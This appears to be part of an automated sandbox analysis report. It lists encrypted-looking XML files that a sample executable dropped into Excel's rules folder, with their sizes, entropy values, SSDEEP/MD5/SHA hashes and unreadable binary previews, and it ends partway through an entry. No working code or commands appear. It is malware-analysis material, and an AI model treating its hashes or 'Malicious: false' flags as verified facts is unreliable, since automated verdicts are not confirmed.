SSDEEP:	24:addE8CAzIrfbySufO2EPKMMYA/itc6yqtburLjTQLOlZVbD:adH5Ev0fO9PKX3/QE6iPxTFD
MD5:	73C71546F2150350B3E972E8DF794848
SHA1:	73449EF845CDE0D16B08209898FE9491F19A01DF
SHA-256:	78BA71C47925F96E221E3757E5078E96205BDA0AA6093AD58E7E8EAAFADE8FAD
SHA-512:	62AC3E3066601470904676E4DCA237B84522A5C491AB855A548DA54615D58992C71C893F6865AAB2D27C07B9D7F857E763FED16A8289B82E4B7E63B9E4F1D7F7
Malicious:	false
Preview:	<?xml2.Rs.........C.Aq.r..5.mn-j...#....q......`..\0..z.%.ai......;..L.{.rQ.$....6%c.H....}..!..Z..v...6K.]..j....F..@..........9K....._...+.=..?..FNo=....x/...........c...:M<..x{...6.....yp..]]P..r.4j..rh.a\ppr.t?...N.S.o.......g..o.?.+t.@.r._l...[.....\.).ni..u.H......$.xT..,.?E.B]..8(..... ..Q48...'..... aY....4..Z.V..g....X..b.r......9.4;.$K.#...A%...[.^....X7...w.%.i..Olp.hIj.t.a.'..R..=#./.....9.....k...(s^.c.O.^...Q.w.....Rn5..bi..]C......9uH.......#.C.........h8...1W..b...x....?.Z..LvYeS.......}..XU..s.ar.B.k.....k/...s.To......b...%V...V.H......3w>.w........J..!..M....h....$~.B].L+\...S".OC.......d....N.....l..H..V!...[........&?...p...".....OcIH.>....}...f..m..i.FTx.K.;W.zx.9.!..sY;_....M..H.....8.....q.}M.c.....$...[...p...qZ.F..;m.?\.h..(.Q...v.?}.+..+{.OL..\|/x@.....O.PM..ih.1..d ..\|se,.....L....4.F..m.5.t.........~..X.^Z...."....E.8+g.S.*.+;......Q#..W~...>Z.ZC......WI.%.Q..gB;Q.T.5x@8...R.........@.;.....s]z.q.'...:..4....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510010v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.813656391079355
Encrypted:	false
SSDEEP:	24:pA+4fUz6epeG3Dksj2ITTE6J0dDao92ncVbD:pA+Hz9d3osyI3Bo90cFD
MD5:	D1253FF4A076EFCCC43E179AE19E2A24
SHA1:	065C252E8AFE3DBA9089B9E77DB124A25552CD67
SHA-256:	48EAAB522E6BE0954D2058F962F76682C5A4E877C84E60866A0C092BEE48416E
SHA-512:	8AAFCCEB39F9A9D292B1A5FB082FAE4A4CD6815349A1508B8656FADAED6FC4131EE8F2C85D5BE2AC813300ECB51CB2706D7A2C754226558DF3815D17621D925F
Malicious:	false
Preview:	<?xml.KT5#(..9.0.7]..\...e........>I&.p.'....Z..I.....s...^..M......6D.O]..".)o..0........ii...j".....ww.wb5.(.r.........-.d&..O......&o.bi.$...U...+J.MO......U...Z.....X@f.%9q:........h.oc@,_.....)Q.........0e..-U:n.?..........f..A\|~......[._)d....`.k..a....s...r....Jwf..<......U.l..f....sb.ct.J..r..e...h.go...@MwS.....L5.+..1i....l]Nr..o.D@.`.....A.T.v^.Y...........;1.z.53.....@P..;..S<o.....o..Q..Z."......q.%}....{TP.FW.M.e..qemx..OPbw...B......A..vn2L..>..%...%.*..j.Q].\.z.....n.1U...<ad./......[.r.>;..8.G.e.ko.v.b..J?G.j`O...I...:.F../.wB........[...vb._/.X...... =...&..\|9..wAZ.......x.$.....U.}F.<.'.SV.'..b.:gz.v..j...(Zbu;.12t......l..Jv.....6....#,.[.q.>.v..Ofy....6#:..:....Q....S^o....D......P.=,....D..._.<./..}I;.7.K...->...L..V..A._p.`.6eP..?1...~[P.&....HE...#.A^.d......Z..:..y;.y..n\|>8`v.O.....(.z....nb).'....o.....^..w.o\|.%.O...`E..r"....X..c%...D...!_.R.z.0..m.]itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510012v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3884
Entropy (8bit):	7.956312227636786
Encrypted:	false
SSDEEP:	96:Izp7YifHCPWa2dO3MyqQ6rW9GHnyalBk+/cA/i9:GYi/84rW+npz/s
MD5:	86490917A1AA311136F54117AA4231C3
SHA1:	CF4005D9D4272C2289E387B905DF6D04DBFE1242
SHA-256:	1056160EA56BE1772F94F5225B07889295341798F200613FBE3D0ADE18E18890
SHA-512:	B74C42587DE07FADB8E300149ED0CC337B24F37DB54633F4157587075F054F6A012CE6C06513E26DD16F163D7DC86DC2EFBC1EAF72B740A3AFB36119842D26FC
Malicious:	false
Preview:	<?xmlP.B.M...($.'....G.tU.......U........l....:.".....x..v.NSP......-...j...l.\|....L.e..7.{..$..F...m..2.A..[....].#aed..?V.R.3..X..3.%...@.y..(.K2.u+...I.i.+E`......;8.G....fu.P..1..u,......^,~......C.X[....S.t..../...Uv./8._.....>.CCn..l...mR..5r(25....T..m^...........>K....W"6Sh.Nf........O.2..3.3C.....f.U.sO.E../..q./.'6.eGX...%i......W...)..&.A...z...5A...+..R)S>C..u.n...R.N.p .......Hk......-...[~...e.V\ ...(h?V...`p&...@.b.H.....4`..=...};...Eo...]f.3.(+.....$&nxUa.].T...L2bC;..-..U..&....H../....A...T....c......_v.1HQ}...E..7..!9....2J.%...S.....y.].;c.p.(.WO...<.R.\|.. %.......I..+Jw...Y.k..o.hB.Na.4v.,.?...n.s$...L....C....6..7.~.....'..y.fG1...}.&.O.:.....R.ST.$.... ...bF......W.d../%..........L..X.w.7..G..$P.9.....ko_.....?'..n..!.8...i...c&w...X.>...d...l..~v.a.b..`.k$}...u4_.........:..2. ]..w.`.H...jlz.a....J_{..T.X.}PGp.\.J.U......3m>.}...k[tH.......;.v..jP...T.V.......~.-.<DX........p.#..=s....w.}.):.^T...{.J.........{......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510015v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.714902031440718
Encrypted:	false
SSDEEP:	12:BXMhkd+fudsw/OxeNFZR48CZ8YxPImsIsVSMLTdgwHeJIV/e2TSevUTJLFU5jVcq:ByVmSw2xi1m8YlI7ZVvB+8RTPMlhCVbD
MD5:	47C7AFC32430B65FE8538FB2E163F0B4
SHA1:	BCC6C87298CE49347FB7DF920A31301C5B4EEE0C
SHA-256:	E2DC1BC440CBB7299E2E22482912C923CEDEB06FE34ADAD28E7CD23B742B2758
SHA-512:	3AE45AD28AEA17E488B19988F87DD96B9951B870A1DED507C10DDEAE5E9574833CF930AC8E235A1BF312814B979104772C9F49D2C6A5D99A07FF799F2C5F8DD6
Malicious:	false
Preview:	<?xml.i0P.hh..G....7w.G...9K".......\|m.Q.@.W.z1....r.......,X....1.....S..h N..S.gn:.Y..L.s._..`.2.Q...T;.uUD.x.g$h.....d.N.T..K.rp...R].U?.k.M-..............._n...d..kgZ..g.V...Y..;i..>.....2;..w..cBs.#......M....N....HS;R..8..R.\|.q..$.@`.C..XZ......8..C,I8.A.T#.>..F[.Nb!.!...^a......}..-.....v.q.X.!....(....u.^.K.G:.B.$....}.....~1..l.%#Dyf..=[<..R...`..#.fQ;....a..%...W.$.(...^..v..E.'L7...#...Q.BI..gK..U.E8..\|u....;..D..........<....]....1...G~...s.H..Qi......).^.......g.^......^..K.P."n`o..N....\AY+.#0b..A...U-..Di..D...q..3..>.....i...._.`..B....4?.9.l........IJ$).4..\|...!8Yym.'..........M..>5.P...bc.C.=X..3..D.$.5..0....h...>....t.}.u.....do.U.....0critkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510016v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3934
Entropy (8bit):	7.953474571372506
Encrypted:	false
SSDEEP:	96:J/XykI/SDJLvDuZj1GIfSjX5dSGMpO4BQrXVcf0ZCV6S9:JfyKDJLvKm+SjX5Y5k4Grg0ZCVb
MD5:	78A66696A9E37A910FB90534B431B98B
SHA1:	DE9B0B6D96DA667B33E77113AAA832A1D3C97F5A
SHA-256:	B22F811F825AB43F29445D575C7217A2441008B7B861F89B3A2CE179344B001D
SHA-512:	A33D2E7646EBA057ADA0DF424E9047E32576B21BBBC3C545A6C8E4B0F4650E19E41B4218182D49584B29F528AC6F530BB224581CEE3EA8E9B5CA72169B0D7621
Malicious:	false
Preview:	<?xml9a<..jK.n.,.>..g.......6.a......:.kZ.b.~~.,[.....E..tP..>...O............VH......z-(u..#P........px.....0......q............"e.....>....a......OrE ...zK..CN......H..0Z ...5...M?.W....-`...&\...&.gc...<.l..'..%.S.f.....2?..CZbX#.'...~....1wS.b..<.U(.&....c...(6..........z..6P.Y....W...c....mD<.=(....2..u.g...`O.C....7.6DZ....K..g.$.!.a.......s...%.....=d.....:.z)...c../....\|. E.yY...8d..n2.......r/.,...mY..........@...W.y..Y....HK.N.P...^w.]........Iu.-\|.l.g)j]..q.mb.../.n&5.}.;!..m./Q...^~..S.c..V....`...E.h......r..g....0...(a..o..3=.`..#~&..SV.....ZA...X.~.l..P.?.....ui.Z.Y..c.._&...:...0.c...W.<....X..=^}.w..p.F...hN..e.......i..J.9T~S.-.1.m......._.X:.....$..89l..Lbn.$v..?.w.w.:bz..7..0.?.....;.I{:.SO1..q....r[Q$.".R.N..'S.++>...( .[...)...!/i.b.[. ..u:E+HW...K.9...P.f.4..{..m.....%...~7....2}......Z......f.#f..+.......dp...c.?..~>Y..O.(.~GX;.<.u..eN.J.....P.zr=.Z..}.. .&......>.._x..b.X%....@.{....H.,....{b/....$v

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510017v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1148
Entropy (8bit):	7.806209125682631
Encrypted:	false
SSDEEP:	24:wbFMpEr/voKNJAwcaLViAfmqRBA19U+bXKnA+lCOJ68DtriZVbD:wmYYKoOVirqkE+bAAo6KIZFD
MD5:	807B0E3DC1C809316682AC4B035E0897
SHA1:	8F2BADC9C582655F894E468D6D6FAB52B5396C06
SHA-256:	8E59B506B4849DB2F43D5D40517B4006E3A993CEB34C3423F04897343E021F1F
SHA-512:	6ABE3DFE3708BD10BCDDCFEB3A50087102F6A899456F69D46348B20EA4FEA188347F710AFDE8ED9DAA3DBE148DA29D13DDFA2ABB1FFEC1E279AA89B18FF47159
Malicious:	false
Preview:	<?xml..Q.oy.F.Nw`.M..] ......./.y.P.5I8...<.ci.r....S.....N].Q`p..?%."...,..^.q.}..fZM..E.c.e.%5.....@....6>C.h..6..5>..gn_.l(...L...{...l:......P...#...?..m...@X.J+.qY.T......{.r/...&....=?)`..~...8M....j..;%tG...C.H.3 .u$..h_...R..q....0L-...$.G..:ox.,...E..P."..........m...E....@.Fv..{NVs$U.....i.Tv...@J..2."R.j.....W)n.b...b^.0C.t.4.e..[.O..../_Y..<.\..U.].....r.#:.O..../.4.=.a~...b...Bk.Y.....`.t.(`.U......V.`..!.........+..{.1....su.W.....Pm...NQ..ADH.".F.i...6B....W..L.[B.a...........ekS.><<.n.=...'.p.-'.&...!N.\..<!..akk..j...Oi....h.'A..E:-..1.....@..R~.V..t..i}+=.Fb.<..ZB0...(..v.......Mi.y_S.6N\|..<..{/...1.......^^...."c1........p..u....:.w....Bm......\|.......MJCcX...x.Da.4..7.4A......G.[@.....g&....!.....r.Y..&..7Rc=..x..&Q-..`...., x...J.1.q.......966...E..s...ck......e{...U.${..4..]/.B{y........T.2.B_.S.].vt.'"\......&..+Q'..:w.I..i..P90..ky..o%ts.....]....K,.(..P..n.u.Q. \c.E..a......tsl..D....al."........J........o=>\|......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510018v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1782
Entropy (8bit):	7.906543518091929
Encrypted:	false
SSDEEP:	48:al1nkx6xRZdDx1ivooQnelt3FosB56Kd2AFD:ShxDBx1ivooQnYosB56NA9
MD5:	7A9D0EC1B236DAE56DDEA0C48042AFEE
SHA1:	7FCD426A89D106D5462408337CB0500D57D16E3E
SHA-256:	768D32DD5A2BE7B45A7B0C1D968A91B59247230455E41C63831F935679A5E71F
SHA-512:	EB3AE4D9B45584E92BD5E4193526F272770F42639A0FCFEC03CFAAF62E20C639372B8E0B7B772B3DEEB8FA573C9F8FF271587E4DEE056711FB9C4DB12E82A783
Malicious:	false
Preview:	<?xml.G0.y.7-.r.2h....Ma.L......g....}...#"e.:y...........Ld...th..;....d.JN...Z.%x.kf. #...~E..Q\|..M.I8..+....?.9?...oD]...d6Q.Z{lQ.....S...G)....pX^..."..D.....}u.K...M.\;J`Y...wt....m.=a.pT...~2[[A..)......o\..T..t......Se...g....q.........>..a.......OK'..,....1+..8..rg...3.......T;19#..(.z..7.!l.N.E...bc...uy.J.:..._YX.././.\|....!.h.8...t9x).x....4.`h..=Rd..3......N..i.r...w4_p...B....%.BeFY..Ug....J......[\.M7....}{..&.......".....e...DH..".H.0.46.....v.,...s......D`...wf.a.@....pl..b..&...Bc.I..[...9F,T.^...'.....k`I..a..(....d.2!...B....&$z.4_..1.!....^.H+..,.#..o5..t.e...d...t.....8..?.#^..uA........iG.....{/..]...I0....pC..........>.....Q.\|.Z...z.!....G...s.....3P...v3......"..3...........A...).I.;.:#..H&.....D....D.g$...O..k..p..?#..n...j....<60..%....3..q......S.g#....x......"..r.=.A.=D.....3;7?R...~.?h......@...........l`.R.E..{...p.);..o.T%.+..J%Q...nBu.x.......\|.^......]....w..FT.\^.......#p.?.m....J.1..D.h.Uz.El.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510046v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	791
Entropy (8bit):	7.678518892380673
Encrypted:	false
SSDEEP:	24:rboCHqIz2vUIhYAwrn+aPUbKLxBwKqyJZ+lfVbD:rboCHLz28IWA4n+IUfC2lfFD
MD5:	34438710364C91D1D1DC1D393D5C1BC6
SHA1:	86F98F77D73F4A96F3FFEFBAB79B990ACC2CB1B4
SHA-256:	33A1E9ACFA23080F63C9500972A83E50034AD8F7D4B4820A23A55AFD6AC6F06D
SHA-512:	52942F1E4B1D36408D63B6B2997981008220F8E2D68F03E42628BE9CB1A5B9911C76F303277811184E4AC5A0A88D55D6ECB8CD3CBE3C63A2ADB4BC414A0C7235
Malicious:	false
Preview:	<?xml..j...q...>.\|..Q.v8.C.E..u?..{[&....../....Zi..2...v.....;...\md.]...)....LV.....C5.5vQ....g.p.i]....l<?./9...GR...c.m...TF.k.>..3E..$$.VdYP..._.....wf@.........R...e.<NH\+.."g..q...a....r.0.c.>'.....?..^....e.=..7.wi..,.-.m 4.%....u.w).^..HW.......+Q...e.U.......-.O........&.5...lN\..A:A...~...A..(.G0.c.T..x..os...f%...H+\|0.B.wt..8pj.%....Zg..W...\..PJNR....z.t........pz]Ww....<7..)..&.q.r.".0..ZP..Fp7Y....o..$\N\.....=....t.A.\|.usr...;.3aj..j..u...h,._........=.XS...`2.....~.LJD .d).2.P1.8.b.R...H.../....u..{..X.AbE{;h.g..]..k..d..F0.."...9.fv?0..UP).4...D..k\.w......>..EQ%.y..k.8..=.{...{...... %?....\.).N\..x.B..-..F;..I......./P..2w....0.,....=9A0.o..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510047v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1082
Entropy (8bit):	7.790392472780877
Encrypted:	false
SSDEEP:	24:C6nDZb8vIB95gJIL6fXvBZTRyIpeY43PvV4qRHSVbD:ambmC67sy2OwSFD
MD5:	C2763DC445338A32B7C0009AEC54C8DB
SHA1:	1731135CB962FFA5AD7CDA1D6F075790233B5847
SHA-256:	D35661712D58B9149E8215D541D453AAB0FDD5723D444FC81E16F14732EFA07E
SHA-512:	3D0158BF620297850D75629AFA486AA3F6779A32659A503CC80B32CB52A5F2B8CF2E24F2A82ECA525E8782EEC8A85227173944628052863F4043E461937C6242
Malicious:	false
Preview:	<?xml.A.p.y.\m.- .D4x..h.....6.C.................4....eSc...c.z6\|%.KW4.A.0....=..p.....dX.E....t....7.~..mM..`.@7.o.b.%..H:!6..@#_/..F.T .......n[P.......07C.....t<....Z3..f..Pi.......,.....e.+.Y....I.~..X.....TRU..\|.r.57CD.O..3m5..Bg.A..^o.d..'[D.........A.....@\|~.%...%~{..1.....\..[iJ..\...R.p.1.Ao..M&F.....A........aT......5......a.f..s...{.)...=.. c......{.....:..OMD..l..3.8:3..(.c...W7.p....._.0..{...AN...^I.........=..D?.6..+.D:#.....7=.......i.xlj...r.-.l.!.`..Z...x...Y...n............AtV.b.1.o.(.G.#..O.....{?.h.2X...{....1...8.t.mR..k.c,.{a.\-.5.;..j.....7N...3j%I.._s...$/x.....S..L..l..8..X..sT..C...Oa..f.........zn...T.R`...{..s/=.r.W..........i.i.z"-l.....Q..../...t<........B.<.....y....' m....M......u.t.u.p",a...{..ZrT.I........{i...vlg...%.E/.3$.\|.....\.....+"........+..!j...1..1.5..W.-.M\|=6X..6..@.V..uHk..vdS...>.s......_n.G....fX.\|..%}. -...)._sa<..j...&V..?....0..k.P.I..lvV.E..G%..\..+..T.w...v..7..+T...j.}+7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510062v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1061
Entropy (8bit):	7.787320970473139
Encrypted:	false
SSDEEP:	24:Ry9A8sRl7RAcWr9pic5Y102kGZKXZXIBKIRlIW8VbD:Ry9A8sRl7acWpp80LGeRIIIRlIW8FD
MD5:	F3AD81C3B0E44B4F9BDEF41942E8DB8E
SHA1:	1CF69885741EAC29B9EABFA5D406095270FD9E3C
SHA-256:	B2BB5583258670189FE99748D526B74F49FDE3A9C2831DBF6937BAAD54AB708C
SHA-512:	FB47FCFC58EF6F8CAA56E5C7ED37CA29BF1863B4A1C3EE8A3BA003D1DB51C483449108AAC0F45EACB4F97AFCBF5F632043127C4BADBEA8B4EC230B191D394FB4
Malicious:	false
Preview:	<?xmlZY.{ylp..43DF9.A;v....!..a...=O..a.~.3......8...L...4.l.~.4.....A(...u........IM#b...a..w1.9.9;<.3.il...HC.p.......]C.JpC.!B2...C.o.V(..;[...S..L=..Q......ad.0.U...i.8....KM..x..Q......J....ih#g=.....J...p}...g..\w./.........Yx.V.D./....&..........6.\|W...@...N.4\|.v...%F..#.....H&...4.;.C0"\.t...)...`.N]9j.......Etr..!...K....G.iL.....s..V.P}8.9P.z......x.)r.........Uk.u.D.........j.<S{H........Z...fE......#'..z....$...O.ZU...A.}6.\7V/.B.t.....-..x...I.O.Y0./.,.....,9.DS....k....'....P..\$a..6sC[.....(..v..V.2.H"-.D4V.a.z...d<pJ[Y'bP.......{.a!..>....U..E.\,...&r.....t..y..N.a.....z..}.{.Z8J..iz1...Z....WG..A..j....pD..\|.+z.7.....Vr.....~.X.X.yw.).&...<.n.a........9..so.@^.Z.!xa.....-%..F(.z. .Kr/;...;Y.`.W=.AY....0.`.5.X....iZ.....b.]h....L..Tz..4.k..l/.f.%...).O......e\.....w.^..?.,./,..'..up...[."o#E..6...D]Y@...D...0#.T.V.....4..Z.4.+,.?......m.s.......{.....K.......F......g..P.o....O..<.;=..5.Sh.=.=2~.^.Pwm.U6t..9.....itkm7MOsOlVQkbEQh

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510063v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.729600691589831
Encrypted:	false
SSDEEP:	24:YiKsRjjaqPOe/vlgOvu1dOpg5bynSeUFHVbD:YMyq/3lgOv1pUbynSe2FD
MD5:	D75E17897C1668461249BBBF524EC5D3
SHA1:	B82BF2C0FC32EF149A2BAFD4D48C57374C1E5336
SHA-256:	44DA788BA598BDA1BFE21547B16444CBE7C8A3A2C987778B41C318241261AE3B
SHA-512:	2F730D1DFD89B0EB9E55A3E87E94900E05C1DD7420F28B797AABACA20D5985F8BFCB1F12B6FED31F46DE9F52EFDCEB3153F77BA815BDBA316BBFF9D78B71D441
Malicious:	false
Preview:	<?xmlSL<..#.......3.(..oqy.+aD...q..@_..........X.o2.J/.\.Tx.......\|....O..a.=.-.....0..9UZ.[.......=.P^.Zo.;Y)b..(.8Z..Q2....z.7.m.........1B..u....,t.\|b.....Hu .Z\|^.E.oa....D.k...jD...).y..2..V..W].j.....!....mI.}...>..?._u.H.w..}.BS%..VT.Q.k'aT.m.]!".._...c...\.........!....d.?X%!.yS.....v....W....K..]@...\|..\F..z>..D'.._q.F.-...F.'...rc.F31.K......4......j.y.....d........l6...0.q...}...xJ.....c...x.J>.tRY.2:....\%...*.C....1.1..,.)HB.\..s............?.....C_..J...7.V.e..A8....rA.......}.......!rq\|.@;/...j....7..$.....D.......F.M.....w.Lml.....8.U..E.;.......'... ...R.].)....gan.w..5.$..y.S.....a/--.R1\..Q.{....}.m..C../b....s..K.,..$V..UP..m.0.....wR.3...l'.Tjm.ebe..k]..n...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63028v4.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1485
Entropy (8bit):	7.875515075926392
Encrypted:	false
SSDEEP:	24:C8ZVO6fuBY9h/mAoQyIu7Ub2TLtjWDWpr0EoBtL664H5tVbD:/Zj269h/mAJyIutLFGEGGHTFD
MD5:	3B3A6D4D141FA49763E8FD6FFF12D946
SHA1:	E0E0A3DF260E7E7974235F2C3CFD89765F3EBF27
SHA-256:	E5FFA47FF8176830F6E1B24D06110A392E8975F06BE60A39D1BE37597AB83283
SHA-512:	3510620EDAD5A806257DB557DC47610F618D8D87C64DE16207BD4D8AAEA54072B70DE6E7C778E1A885CE0C9AC81152F26C3636C6681F01066E4E143B13A99C35
Malicious:	false
Preview:	<?xml.....#W.e.h.o.G....nc..w...R.....Hq0..eE.!.d3..b8%.S..~........t.@....>~O......b..p..dl&.<.........$.x........$.>.\|....rW_..F`..\T.XN.$;;......:......t..J9.8.@....8.<S.Y.m]...s...Uc`H...aGb).Jj.2D+.V.3....[?.4....=..s.]..e2.`<......q.+..S.k..hwk.......,..X^&..vo..IB>.`w.e..ja.>....O.}....n.K...ar...D.~..+..#.;k....{<}@e...>...a...Y..Bb.u.#.L.h.\|V].{...jr.......0>..<.)..o.....1&...6$..tF.b..q..hp..F.c]..N.=...M..j.h..^=x.`l}..u...`L...@..~gy.m.b.F2.K...dT.C...=..l..[.,.0...d.v...}DS..\.#.&U.t2&.8%J./9.8<...X..5.O...a.qH..=..K...jc..zgZ.....P..^3j..PN.c..\|.V{..m...q.\...@.....(\|d..7.mf.G%.*1.L<=.p.'...2.zz..].Y.+........<9..A..U..L..)...omv.oZ..,U..." I.&_...\...f{o....Z...q......v.\#..c.t.D.... .l......H....$..i1.JarQk}....6....1..A/o..[.:..Q.Iu6P.W..;..o...4..N.......hZG.Z.....Kvz.}..H..<.j...!...ex{..a.@.WC&)G._.....<.....A.%\|q.3p..HCv..Fct.H@t.......a..&$Zz...EE..@.......X...."G..}....O.c..5.7...E....(....2....M....+.......S.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63030v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.872389226693417
Encrypted:	false
SSDEEP:	24:03nhM8QCb3OSWBRav3en5geFRu73dVYLlEW2OYaRI+B3DBzNjhZbk0VbD:03nhACrABRieqDtVGVpYaRTdDBzNjhZb
MD5:	0E6FD461E1A9FAA3ADDCC4D054636E9F
SHA1:	0B1652CDC8F3DB848DFDFF1C180C6FAD5CBDB78E
SHA-256:	7472B357BF6C63A25F2E47F03E67A6CC1CA823EF3233B34795F66199C71E9D5B
SHA-512:	CCE2EE929F42D5A456970EFB8CA3DD3C0E5B6DEDCF0720CD8B0F28D3F8DCC6D6F492351993973214B26C2DC22E3808297A4E18856CDFBD279EA42728C83D906C
Malicious:	false
Preview:	<?xml.j.R....1...{.).....s.2~.W......rn.s...B.o../..\C..[.yN.K.s.Z....?.fl...MA .x.+._.....".(.....n.ozN....yw.).CVu.........Z9h.f..I..;......!.[x\|.U...W.-......{...,..?.%..W..p...'.t..u3...^&N.^....2..k...(~.:...v.!.....(G..5.g.....U..eX..........BRm.....r..F .S.\.......>..g.b.E/J...j<'.`.}..L?.C.(.s..ei.....b8.`S...s.........5.~L.^..wU.....ke..AG\..a..%.....z.........h.R...A.?@..[.RQe.......)...-6t...9p..}g.8..4'.............2 .z.......Ad...RE.f.r.vU....+\|G=..#J.C......2Rk'...s....N..\.<../B..#..~.S..@...[._UP....3.e_}...=a.].E.1.A.T4..BD.E>..gr.h.p.K.1.QH..nD...\r.:..{..(m}p.[.%.@9.qLg.....J^$(..y..`Kh94.St.....7.7W?.. M....\.b....(...b....(.J...x~.....o..Fe.r..er"....J..uw....e..:f~......A..1B..}~.B.....Hn;.V..6../eV....'. .W=.....yN..h...;..H.Le`..+W.'.....S4..7.)'.H.Y..G(...B..'..r.&.....a=i@>w....8O..evS.1..O.oF..Z..U..i.\3.AI.O.;........u.g\........Zp...x..m.;.......8)..z].........:/.....+..)/...~...2....U.>-..M.j".3I.a.....7C{"c.$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63038v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1261
Entropy (8bit):	7.842751944452644
Encrypted:	false
SSDEEP:	24:5vbWaXEfjSRsKaqKOTZpOlkFeFYI/YahZ0nZRjfpufghUgD+7bQ11VbD:9tEOzaIpOycFlhinLjfpSaUqF1FD
MD5:	7A8AFE46EAED91C34B858FF22F106577
SHA1:	E5C84A21A9670203250DC9919B5DF3AC0A868F3D
SHA-256:	FB11BD7473ED166872CA83328F6A544A13C27F300DDCF2353B4B6715B56BC301
SHA-512:	7219D49861AABFCCBDFD27C61287688D60A3897FBAA5C7B031FED285916ACC1DC0CD31B925A89579074FD240977E14D1D3DB82CAFEC75B67A0018BBE6D87BD90
Malicious:	false
Preview:	<?xml...Tsq.=..$R?.{...$..\|,u..........X...j......$~.";h$J?c.Y....1k.''&...Ci....O....A'K9..pJ;C.+.nx#s5.L.=...6]u..izm..&J.z.A.>.U.....{gB.......-VNz{...d..-3X..6..H......uzVy.~_~D3Sp..(p.H ...2...w.@.f~X....a0.>=5.\|.....-.S...{..j..""?...}r..P....=kc.,S.Z....?s.....u...Ut...Z/..}.n..(.Y........Z.D.T/..&L..Y..].I.H.a,.-p.Str...;s...&........T.......r^.ec@....QX..u.m...:......>.M.k..g....hr..;,.U...S./..#......o..,.x.N...-..{..\|....7.PU.+l.m..s.....mO.._...n....V..c..+.g..K.,:r.yb..}J.6.....%ru.@..f.....o%a7../.O.h. .j[".....n...1!u..D.m..M.v)vV...Xo<}.k....{.@.`8Y7.N.1;K.......n......$..b...Y.pA>.v.....)1..on....T........... ..C.....4kP..yJr...D.Q,le.......o.......arD.~.75......(2...o.yuDQ.."..ti..pQ.A.6...,..n.z..^.....R...K..u.;.Z......e.U^.....L......'..#HL..Z.ip..i^..@Sc........kz3.../.....a.2..Z._.,RC.lDm+.^-.V.6\.r..S..mP:.#t.....J...c.l.p...^c.kz...n.D...y~M....i../r..P...]....&.G_.....U.U..<.z..~.'...b.TN..*M.<Pl\|4..J......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63040v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1268
Entropy (8bit):	7.833588087240043
Encrypted:	false
SSDEEP:	24:D3gYMlsRVfeaDPqOO0PmJt5iTmY0GVKbjwEMKJAZlHx1eFLoASNLfVbD:jdzVTDPq55iTawf4ATHx1eFLojhFD
MD5:	B693A544A8B8292EC582F69AA636FCF3
SHA1:	701B7430B238618F9BDC6250DBA84380DE303B76
SHA-256:	72098F9763242972C678874EAD8EAE9BF1C5E7EBC310BBC473FDB4D6466C5C3C
SHA-512:	C8A42C48F77EA5C4E99CC2C62D6C0F74BE0780FA96F87AB18B736B6FC9176F53AFD932357C1E3D04AB63B5F039C1BE740441D107C7B23B0D1547EE6E688C720C
Malicious:	false
